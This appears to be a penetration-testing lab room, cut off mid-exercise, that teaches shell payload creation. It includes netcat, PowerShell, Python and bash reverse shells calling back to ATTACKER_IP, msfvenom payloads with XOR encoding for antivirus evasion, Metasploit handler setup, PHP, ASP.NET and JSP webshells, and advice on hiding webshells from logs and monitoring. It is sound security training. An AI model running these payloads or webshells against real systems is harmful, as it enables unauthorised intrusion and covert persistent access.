Introduction
We've covered catching shells, setting up listeners, stabilising connections, and creating fully interactive TTYs. But there's a gap: how do we get those shells to call home in the first place? Typing nc ATTACKER_IP 4444 -e /bin/bash works when we're already on the box, but real penetration testing requires payloads, self-contained programs that establish shell connections when executed on target systems.
Consider a common scenario: we've found a file upload vulnerability that lets us upload executable files, but we can't directly interact with the system to type shell commands. We need a payload, an executable that, when triggered, automatically connects back to our waiting listener. Or perhaps we've identified a phishing opportunity where we need an innocent-looking attachment that establishes persistent access. Manual shell commands won't work here; we need generated, deployable payloads.
This room bridges that gap between "I can catch shells" and "I can create the payloads that generate those shells". We'll learn to craft payloads for different platforms, delivery methods, and evasion requirements, turning our shell-catching skills into a complete offensive toolkit.
Learning Objectives
- Generate custom shell payloads using msfvenom for multiple platforms and formats
- Understand staged vs stageless payloads and when each is appropriate
- Use Metasploit's multi/handler to catch staged payloads and manage sessions
- Deploy webshells for persistent access through web applications
- Create alternative payloads when standard tools are unavailable or restricted
Learning Prerequisites
?Answer the questions below
- I understand the learning objectives and am ready to learn about shell payload generation and delivery!
Common Shell Payloads
Start the target machine by clicking Start Machine. To interact with it, start the AttackBox by clicking Start AttackBox, or connect via the THM VPN from your own machine. To try different payloads on the practice box, you can connect to it via SSH with the credentials below:
Credentials
Only needed if you are using your own machine.
Uploading webshells can be done via http://MACHINE_IP using the web browser of the AttackBox.
Beyond the basic netcat examples from the Shells & Listeners Fundamentals room, real-world scenarios often require different payload approaches. Some systems lack netcat entirely, others have restricted versions, and many environments filter or block simple shell commands.
Netcat Without the -e Flag
Many modern Linux distributions ship netcat variants that remove the -e flag for security reasons. OpenBSD netcat, commonly found on security-focused systems, deliberately excludes this functionality. When we encounter this limitation, named pipes provide a reliable workaround that recreates the same functionality.
A named pipe (FIFO - First In, First Out) bridges processes, allowing data written by one process to be read by another. We can use this to create a circular data flow where netcat passes commands to a shell, and the shell's output flows back through netcat to our attacking machine.
For a bind shell without the -e flag, use this command on the target:
linux@target:~$ mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Flags explained:
-l: Listen mode-v: Verbose output-n: Skip DNS resolution-p 8080: Listen on port 8080
This command creates a named pipe at /tmp/f, starts a netcat listener that reads input from the pipe, pipes netcat's output (our commands) into a shell, and redirects the shell's output and errors back into the pipe. The circular flow ensures commands and responses move between our machine and the target shell.
For a reverse shell, the syntax changes slightly to use netcat's connect mode:
linux@target:~$ mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Both commands clean up the named pipe when the connection closes, leaving no artefacts on the target system.
PowerShell Reverse Shells
Windows environments, particularly servers, often have PowerShell available even when traditional command-line tools are restricted. PowerShell's .NET integration gives us direct access to TCP sockets, allowing us to create reverse shells without uploading any additional binaries.
The standard PowerShell reverse shell uses .NET's TCP client classes to open a connection and run commands. This one-liner gives us a full interactive shell:
PS C:\> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
This command creates a TCP client connection to our attacking machine, reads commands from the network stream, executes them using PowerShell's Invoke-Expression (iex), and sends results back through the same connection. The shell includes a PowerShell prompt with the current directory for better usability.
It works by looping continuously: read data from our machine, treat it as a PowerShell command, execute it, and send the output back. The result is a fully functional PowerShell session over the network.
Script-Based Shells
Many systems have scripting languages installed by default, and we can use them to create shells when traditional tools are missing. This is particularly useful when we have code execution through web applications, scheduled tasks, or other non-interactive methods. Python, Perl, Ruby, and PHP all have networking capabilities that can open a socket and spawn a shell. The two most commonly useful options on Linux targets are Python and bash itself.
Python Reverse Shell
Python's socket and os modules let us build reverse shells on Linux systems where Python is commonly available:
linux@target:~$ python3 -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
This Python payload creates a socket connection, duplicates the socket file descriptor to stdin, stdout, and stderr, then spawns a bash shell with a pseudo-terminal for better interactivity.
Bash TCP Reverse Shell
When scripting languages aren't available, bash's built-in network capabilities can create shells using special device files:
linux@target:~$ bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
This technique uses bash's /dev/tcp pseudo-device to create a network connection, redirecting input and output through the connection to create an interactive shell. Note that /dev/tcp requires bash compiled with --enable-net-redirections and may not be present on minimal Linux installations.
Payload Selection Strategy
Choosing the correct payload depends on the target environment and available tools. Consider these factors when selecting an approach:
- Target operating system: Windows systems favour PowerShell payloads, while Linux systems work well with bash, Python, or netcat alternatives.
- Available interpreters: Check what scripting languages or tools are installed. Python, Perl, Ruby, and PHP all have networking capabilities that allow them to create shells.
- Network restrictions: Some environments filter outbound connections on specific ports or protocols. Test different ports and connection methods if initial attempts fail.
- Execution context: Web shells, scheduled tasks, and service accounts may have different privileges and tool availability than interactive user sessions.
- Detection concerns: Some payloads trigger antivirus or endpoint detection systems more readily than others. PowerShell, in particular, is heavily monitored in modern Windows environments.
Payload Resources
The PayloadsAllTheThings repository maintains a comprehensive cheat sheet of shell payloads in multiple languages, covering reverse and bind shells, as well as platform-specific variations. The relevant content is listed under Methodology and Resources in the repository. It covers Python, Perl, Ruby, PHP, Java, and more, making it worth bookmarking for unusual target environments.
Testing and Verification
Always test payloads in a controlled environment first. Different OS versions, shell variants, and security configurations can all break things in unexpected ways. Knowing how each payload works at a low level also helps when we move on to automated generators like msfvenom in the next task, because we can troubleshoot and customise the output rather than treating them as black boxes.
?Answer the questions below
- What technique allows you to create a reverse or bind shell with netcat when the -e flag is unavailable?
- In the PowerShell reverse shell one-liner, what .NET class is used to create the network connection to the attacker?
- What bash pseudo-device path is used to create a TCP connection in the bash reverse shell?
msfvenom
Manual payload creation works for many scenarios, but real engagements often need payloads that evade detection, target different platforms, or plug into post-exploitation frameworks. Msfvenom, part of the Metasploit framework, automates all of this. It handles encoding, output formatting, and platform targeting that would take ages to do by hand.
Understanding msfvenom's Role
Msfvenom is a payload generator and encoder. It creates executable code that establishes a shell connection, either connecting back to our attacking machine for reverse shells or opening a listening port for us to connect to for bind shells. Unlike the manual shell commands from previous tasks, msfvenom produces complete, standalone payloads we can deliver through email attachments, web uploads, or exploit frameworks.
What makes it worth learning: it handles cross-platform targeting, has built-in encoding for AV evasion, supports dozens of output formats, and plugs directly into Metasploit's post-exploitation modules. When we're targeting a mix of Linux and Windows boxes or need something more polished than a one-liner, msfvenom is the go-to.
Basic msfvenom Syntax
All msfvenom commands follow a consistent structure that specifies the payload type, configuration options, and output requirements:
attacker@tryhackme:~$ msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
For example, to generate a Windows executable that creates a reverse shell:
attacker@tryhackme:~$ msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=10.10.14.15 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
Flags explained:
-p: Specifies the payload type and architecture-f exe: Sets the output format to a Windows executable-o shell.exe: Defines the output filenameLHOST: Our attacking machine's IP address for callbacksLPORT: The port where our handler will listen
Staged vs Stageless Payloads
One of msfvenom's most important distinctions involves how payloads are delivered and executed. Understanding this difference affects both payload selection and the type of listener we need.
Stageless payloads contain everything needed to establish a shell connection in a single, self-contained package. When executed, they immediately attempt to connect back to our listener without requiring additional downloads or components.
attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f elf -o stageless_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: stageless_shell
Stageless payloads work with simple netcat listeners and don't require special handling software. However, they are larger and more likely to trigger antivirus detection since all the shell code is present in the initial file.
Staged payloads use a two-phase approach. The initial stager is a small piece of code that establishes a connection and downloads the full payload from our attacking machine. This separation offers advantages for evasion and payload delivery.
attacker@tryhackme:~$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o staged_shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: staged_shell.exe
The smaller initial stager can sometimes evade antivirus software that focuses on signature detection. The full payload never touches the target's disk, making it harder for file-based security tools to detect. However, staged payloads require specialised listeners like Metasploit's multi/handler that understand the staging protocol.
Payload Naming Conventions
Msfvenom uses a systematic naming convention that indicates the target platform, architecture, and payload behaviour. The general format follows this pattern:
<platform>/<architecture>/<payload>Platform Examples:
linux/x64/shell_reverse_tcp: Linux 64-bit stageless reverse shellwindows/x64/shell/reverse_tcp: Windows 64-bit staged reverse shellwindows/shell_reverse_tcp: Windows 32-bit stageless reverse shellosx/x64/shell_reverse_tcp: macOS 64-bit stageless reverse shell
Staged vs Stageless Identification:
In most msfvenom payloads, a common naming convention makes it straightforward to tell the two types apart:
- Stageless: Typically uses underscores before the transport (e.g.,
shell_reverse_tcp) - Staged: Typically uses a forward slash before the transport (e.g.,
shell/reverse_tcp)
This convention holds for most payloads and is a reliable first indicator. It is not universal across every payload in the library, so when in doubt, use msfvenom --info <payload> to confirm whether a payload is staged or stageless before building around it.
Meterpreter Payloads
Meterpreter represents Metasploit's advanced shell environment, offering capabilities beyond basic command execution. Unlike simple shells that pass commands back and forth, Meterpreter provides a feature-rich platform for post-exploitation activities.
Meterpreter sessions include built-in commands for file operations, network discovery, privilege escalation, and system manipulation. The framework runs entirely in memory, making it harder to detect than traditional shells that rely on disk-based tools.
# Windows 64-bit staged Meterpreter
attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o meterpreter_staged.exe
# Linux 32-bit stageless Meterpreter
attacker@tryhackme:~$ msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f elf -o meterpreter_stageless
Meterpreter payloads require Metasploit's multi/handler for proper session management. While more complex to set up than basic shells, they provide significantly more functionality for full system compromise and post-exploitation activities.
Output Formats and Use Cases
Msfvenom supports numerous output formats, each suited to different delivery methods and target environments. The right format depends on how we plan to execute the payload on the target.
Common formats include:
exe: Windows executable files for direct executionelf: Linux executable binariesdll: Dynamic libraries for DLL injection attacksaspx: ASP.NET web shells for IIS serversjsp: Java Server Pages for Java web applicationswar: Web application archives for Java application serverspython: Python scripts for environments with Python interpreterspowershell, PowerShell scripts for Windows environments
Discovering Available Payloads
Msfvenom includes extensive payload libraries covering numerous platforms and scenarios. Use the list functionality to explore available options. This command pipes msfvenom's payload list through grep to find specific payload types:
attacker@tryhackme:~$ msfvenom --list payloads | grep linux | grep meterpreter
linux/armle/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back stager
linux/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back stager
Encoding and Evasion
Modern antivirus and endpoint detection systems actively scan for known payload signatures. Msfvenom includes encoding capabilities to modify payload appearance and potentially evade signature-based detection:
attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -e x64/xor -i 3 -o encoded_shell.exe
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x64/xor
x64/xor succeeded with size 119 bytes (iteration=0)
x64/xor succeeded with size 143 bytes (iteration=1)
x64/xor succeeded with size 167 bytes (iteration=2)
x64/xor chosen with final size 167 bytes
Payload size: 167 bytes
Final size of exe file: 7168 bytes
Saved as: encoded_shell.exe
Flags explained:
-e x64/xor: Use the x64/xor encoder to transform the payload-i 3: Apply the encoding 3 times to further change the signature
The encoding process transforms the payload using mathematical operations (like XOR) multiple times to change its signature. While this can help evade basic antivirus detection, modern security solutions often include behaviour-based detection that can identify malicious activity regardless of encoding.
Integration With Attack Workflows
Msfvenom payloads work best when integrated into complete attack workflows. Think about how the payload will be delivered, executed, and handled:
- Delivery considerations: Email attachments, web uploads, USB drops, or exploit integration all require different payload formats and characteristics.
- Execution context: User privileges, available interpreters, and system restrictions affect payload selection and encoding requirements.
- Handler preparation: Staged payloads need multi/handler setup, while stageless payloads can use simple netcat listeners.
The next task covers setting up the handlers that catch these payloads.
?Answer the questions below
- Which msfvenom payload would generate a 64-bit Linux stageless reverse TCP shell?
- What msfvenom flag specifies the number of encoding iterations?
- What type of msfvenom payload runs entirely in memory and provides built-in post-exploitation commands?
Metasploit multi/handler
Simple netcat listeners work fine for basic shells, but they can't handle the staging protocol that staged payloads and Meterpreter sessions rely on. That's where Metasploit's multi/handler comes in. It knows how to receive stagers, send back the full payload, manage multiple sessions at once, and do things a plain netcat listener simply can't.
Understanding Multi/Handler’s Purpose
Multi/handler is Metasploit's universal payload receiver. It catches and manages connections from msfvenom-generated payloads. Unlike netcat, which just passes raw data between sockets, multi/handler actively participates in the connection: it sends staged payload components, negotiates Meterpreter protocols, and tracks sessions.
We need multi/handler any time we use staged payloads, because it handles the two-phase handshake: receive the initial stager, then push the full payload back to the target. Meterpreter sessions also depend on it for their communication protocol.
Setting up Multi/Handler
Configuring multi/handler follows a straightforward process within the Metasploit console. The setup requires matching the handler configuration exactly to the payload we generated with msfvenom.
Start by launching Metasploit and loading the multi/handler module:
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
Check the current configuration and available options:
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
Configuring Handler Parameters
Three parameters must exactly match those generated by msfvenom: the payload type, the listening host address, and the listening port. Get any of these wrong, and the connection will silently fail.
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/shell/reverse_tcp
PAYLOAD => windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
The LHOST parameter requires special attention. The value here must match the LHOST we baked into the payload during msfvenom generation. The payload hardcodes our IP address and will only connect back to that exact address. Set LHOST to the correct tunnel interface IP. On the AttackBox, it will be ens5.
Let's verify the configuration before starting the handler:
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Starting the Handler
Once it's configured, you can just launch the handler using the exploit command. The -j flag runs the handler in the background, allowing us to continue using the Metasploit console for other tasks while the handler waits for connections.
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.15:4444
msf6 exploit(multi/handler) >
The handler is now actively listening for connections. When using ports below 1024, we need to run Metasploit with sudo. The background job lets us set up multiple handlers on different ports or configure additional modules while waiting for connections.
Managing Incoming Connections
When a payload executes on the target system, multi/handler automatically handles the connection process. Staged payloads involve receiving the stager, transmitting the full payload, and establishing the session. The console displays connection information and assigns a session number for management.
[*] Sending stage (200774 bytes) to 10.10.14.100
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.14.100:49847) at 2024-01-15 14:23:45 +0000
msf6 exploit(multi/handler) >
The connection process shows the staging transmission and session establishment. For staged payloads, we'll see the "Sending stage" message as multi/handler transmits the full payload to the target. The session gets a unique ID (session 1 in this example) for management.
Session Management
Multi/handler gives us proper session management. We can list active sessions, jump into a specific one, and run background commands across multiple connections at once.
List all active sessions:
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windows... 10.10.14.15:4444 -> 10.10.14.100:49847 (10.10.14.100)
Interact with a specific session by its ID number:
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
C:\Users\victim\Desktop>whoami
target-machine\victim
C:\Users\victim\Desktop>hostname
TARGET-MACHINE
C:\Users\victim\Desktop>
Return to the Metasploit console from an active session using Ctrl+Z or by typing background. This backgrounds the session while keeping it active, so we can access other Metasploit modules or interact with different sessions.
Advanced Handler Features
The multi/handler has a few extra tricks that matter when we're juggling multiple compromised systems during an engagement.
Multiple Concurrent Handlers
We can run multiple handlers at the same time on different ports or with different payload types, so we're ready to catch whatever calls back.
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 10.10.14.15:8080
msf6 exploit(multi/handler) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/shell/reverse_tcp tcp://10.10.14.15:4444
1 Exploit: multi/handler windows/x64/shell/reverse_tcp tcp://10.10.14.15:8080
Session Persistence and Stability
Unlike netcat connections that die when the network drops, multi/handler sessions have error handling and reconnection logic. Meterpreter sessions can automatically attempt to reconnect and have built-in persistence mechanisms.
Integration with Post-Exploitation Modules
Sessions caught by multi/handler plug straight into Metasploit's post-exploitation modules. We can run privilege escalation checks, gather system information, or pivot to other network segments directly from an established session.
Handler vs Basic Listeners
When do we actually need multi/handler versus a plain netcat listener? Here's a quick breakdown:
Use multi/handler when:
- Working with staged payloads that require two-phase communication
- Using Meterpreter sessions for advanced post-exploitation
- Managing multiple concurrent sessions
- Requiring session persistence and error handling
- Integrating with other Metasploit modules
Use simple listeners when:
- Working with stageless payloads that don't require staging
- Performing quick reconnaissance or basic command execution
- Operating in resource-constrained environments
- Preferring lightweight tools without framework overhead
Troubleshooting Common Issues
A few common mistakes can prevent connections from landing. These are the first things to check when a payload fires but nothing shows up in Metasploit.
- Payload mismatch: The handler payload must exactly match what we generated, including architecture and staging type. A
shell/reverse_tcphandler won't catch ashell_reverse_tcppayload. - Network configuration: LHOST must be the correct interface IP, not
0.0.0.0orlocalhost. - Firewall blocking: Make sure our attacking machine's firewall allows inbound connections on the specified LPORT.
- Privilege requirements: Ports below 1024 need
sudo.
?Answer the questions below
- What Metasploit command loads the multi/handler module?
- What flag runs the handler as a background job so you can continue using the Metasploit console?
- Which command, followed by a session number, lets you interact with a specific active session?
Webshells
Web applications sometimes let us upload files, and if we can upload a server-side script, we can execute code. When firewalls or network restrictions block traditional reverse or bind shells, webshells serve as a workaround. They operate entirely over HTTP/HTTPS, so from a network monitoring perspective, they look like normal web traffic.
Understanding Webshells
A webshell is a script written in a server-side language (PHP, ASP, JSP, Python) that accepts commands through HTTP requests and runs them on the hosting server. We submit commands via URL parameters, POST data, or form fields, and the script executes them with the web server's privileges. The output comes back as HTML.
This is particularly handy when firewalls block non-HTTP traffic, when we're targeting internal web servers with no direct internet access, or when we want to maintain access through a file that blends in with the rest of the web application.
Basic PHP Webshell
PHP is still the most common server-side language on the web, so PHP webshells work on a huge number of targets. A minimal one fits in a single line:
<?php echo "" . shell_exec($_GET["cmd"]) . ""; ?>
This webshell accepts commands through a GET parameter named "cmd" and executes them using PHP's shell_exec() function. The <pre> tags preserve formatting for command output, making results readable in web browsers. When saved as a PHP file and uploaded to a web server, it provides immediate command execution capabilities.
Commands are passed as GET parameters appended to the URL:
http://target-server.thm/uploads/shell.php?cmd=whoami
http://target-server.thm/uploads/shell.php?cmd=id
http://target-server.thm/uploads/shell.php?cmd=ls -la /var/www/html
Each request executes the specified command on the target server and returns the output as a web page. This approach works for any command the web server process has permissions to execute.
Enhanced Webshell Features
In practice, we usually want a few more features for usability and stealth.
POST-based Command Execution
Using POST requests instead of GET parameters helps avoid command logging in web server access logs and URL history:
<?php
if ($_POST['cmd']) {
echo "" . shell_exec($_POST['cmd']) . "";
}
?>
Authentication and Obfuscation
Adding a password check stops other attackers (or defenders) from using our webshell against us:
<?php
$password = "secure_password_here";
if ($_POST['auth'] === $password && $_POST['cmd']) {
echo "" . shell_exec($_POST['cmd']) . "";
} else if ($_POST['auth'] && $_POST['auth'] !== $password) {
echo "Authentication failed";
}
?>
Platform-Specific Webshells
Different web server platforms need webshells in the matching server-side language. Here are the main ones we'll encounter.
ASP.NET Webshells
Windows IIS servers running ASP.NET can execute C# or VB.NET webshells:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
if (Request["cmd"] != null) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("" + p.StandardOutput.ReadToEnd() + "");
}
%>
JSP Webshells
Java web applications can host JSP-based webshells for command execution:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
out.println("");
while ((line = reader.readLine()) != null) {
out.println(line);
}
out.println("");
}
%>
Upgrading Webshells to Full Shells
Webshells give us reliable access, but they lack the interactivity of a proper shell. The real trick is using the webshell's command execution to bootstrap a full reverse or bind shell connection.
PowerShell Reverse Shell via Webshell
On Windows targets, we can fire a PowerShell reverse shell through the webshell. The payload needs to be URL-encoded to survive HTTP transmission:
http://target-server.thm/shell.php?cmd=powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27ATTACKER_IP%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
This is the same PowerShell reverse shell from Task 2, URL-encoded for HTTP transmission.
Linux Reverse Shell via Webshell
On Linux targets, we can pass any of the reverse shell payloads from Task 2 through the webshell. The command must be URL-encoded before transmission, because spaces, quotes, and special characters like > and & will cause the web server to receive only a fragment of the command.
The bash reverse shell URL-encoded:
http://target-server.thm/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27
Hint: Tools like curl handle URL encoding automatically when the command is passed in quotes: curl "http://target-server.thm/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Webshell Collections and Tools
Kali Linux ships with a collection of ready-made webshells in /usr/share/webshells. We also have these webshells on the AttackBox.
attacker@tryhackme:~$ ls /usr/share/webshells/
php
attacker@tryhackme:~$ ls /usr/share/webshells/php/
php-reverse-shell.php
The PentestMonkey PHP reverse shell (php-reverse-shell.php) is the one we'll see referenced most often. Unlike the simple webshells above, it opens a direct reverse connection back to our listener, giving us a proper shell session instead of one-command-at-a-time HTTP requests.
Detection and Evasion Considerations
Webshells are not invisible. Here's what can catch them.
- Web Application Firewalls (WAFs) scan for common webshell patterns in uploaded files and request parameters. Obfuscation or custom encoding can bypass basic rules, but modern WAFs are getting better at behavioural detection.
- File integrity monitoring alerts on new or modified files in web directories. Using filenames that blend in (like
config.bak.php) and placing files where uploads are expected reduces the chance of triggering an alert. - Network monitoring can flag unusual outbound connections from web server processes. HTTPS webshell traffic is harder to inspect, but the connection pattern itself may look suspicious.
- Log analysis reveals command strings in GET parameters and unusual POST patterns. Using POST over GET and keeping commands short helps, but a determined analyst will spot the access pattern eventually.
Operational Best Practices
A few operational habits make the difference between keeping access and losing it.
- File placement: Put webshells where uploads are expected, use boring filenames, and consider embedding code within existing legitimate files.
- Access patterns: Vary timing and don't hammer the webshell with rapid-fire requests. Use realistic user agents and referrer headers.
- Command selection: Start with basic recon (
whoami,id,ls) before attempting anything noisy like privilege escalation. - Cleanup: Always plan how we'll remove the webshell after the engagement. Leaving backdoors in production is not acceptable, even during authorised testing.
?Answer the questions below
- What PHP function is used in the basic webshell to execute system commands?
- What HTTP method helps avoid logging commands in web server access logs?
- What is the name of the well-known PHP reverse shell script included in Kali's webshell collection, written by PentestMonkey?
Practical Exercises: Linux
For this task, we will continue using the target VM started in Task 2. If it's no longer running, start it again using the Start Machine button. SSH in using credentials:
Credentials
Only needed if you are using your own machine.
The web server for webshell uploads is accessible at http://MACHINE_IP.
Start a netcat listener before each exercise where we are catching a shell: nc -lvnp 4444
Exercises
1. Stageless ELF Reverse Shell
Generate a stageless Linux ELF reverse shell with msfvenom and transfer it to the Linux machine using Python's HTTP server. SSH in, download the payload, make it executable, and run it. Catch the connection with netcat.
attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000
On the target machine:
shell@target:~$ wget http://CONNECTION_IP:8000/shell.elf -O /tmp/shell.elf
shell@target:~$ chmod +x /tmp/shell.elf && /tmp/shell.elf
2. Staged Linux Reverse Shell via multi/handler
Generate a staged Linux reverse shell with msfvenom and serve it over HTTP:
attacker@tryhackme:~$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o staged_shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000
Then set up multi/handler in Metasploit:
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
On the target machine, download and execute the payload:
shell@target:~$ wget http://CONNECTION_IP:8000/staged_shell.elf -O /tmp/staged_shell.elf
shell@target:~$ chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elf
The Sending stage message in the Metasploit console confirms the two-phase handshake is working.
3. PHP Webshell on Linux
On the AttackBox or Kali, create the webshell file using a text editor:
attacker@tryhackme:~$ nano shell.php
Paste the following into the file and save it:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
Navigate to http://MACHINE_IP and upload shell.php using the upload form. Once uploaded, test command execution in the browser:
http://MACHINE_IP/uploads/shell.php?cmd=whoami
http://MACHINE_IP/uploads/shell.php?cmd=id
4. Reverse Shell via Webshell
First, make sure the netcat listener is running on the AttackBox:
attacker@tryhackme:~$ nc -lvnp 4444
From the PHP webshell on the Linux machine, trigger a bash reverse shell back to our listener. Pass the command through curl, which handles URL encoding automatically.
curl -G "http://MACHINE_IP/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/CONNECTION_IP/4444 0>&1'"
Flags explained:
-G: Sends the data as a GET request query string rather than a POST body--data-urlencode "cmd=...": URL-encodes the value and appends it to the URL as?cmd=...
?Answer the questions below
- What msfvenom format flag generates a Linux ELF binary?
- What Metasploit output confirms the staged payload two-phase handshake is working?
Practical Exercises: Windows
Terminate the Linux VM from Task 2 before starting this one. Start the machine associated with this task: it is running Windows Server 2019 with XAMPP.
Credentials
Only needed if you are using your own machine.
Start a netcat listener before each exercise where we are catching a shell: nc -lvnp 4444
Exercises
1. Stageless Windows EXE
Generate a stageless Windows x64 EXE payload and serve it over HTTP:
attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
attacker@tryhackme:~$ python3 -m http.server 8000
Start a netcat listener to catch the incoming shell:
attacker@tryhackme:~$ nc -lvnp 4444
On the Windows machine, open PowerShell and download the payload from the attacker:
PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/shell.exe -OutFile C:\Users\Administrator\Desktop\shell.exe
Execute it:
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\shell.exe
The netcat listener receives the connection.
2. Staged Windows Meterpreter via multi/handler
Generate a staged Windows x64 Meterpreter payload and serve it over HTTP:
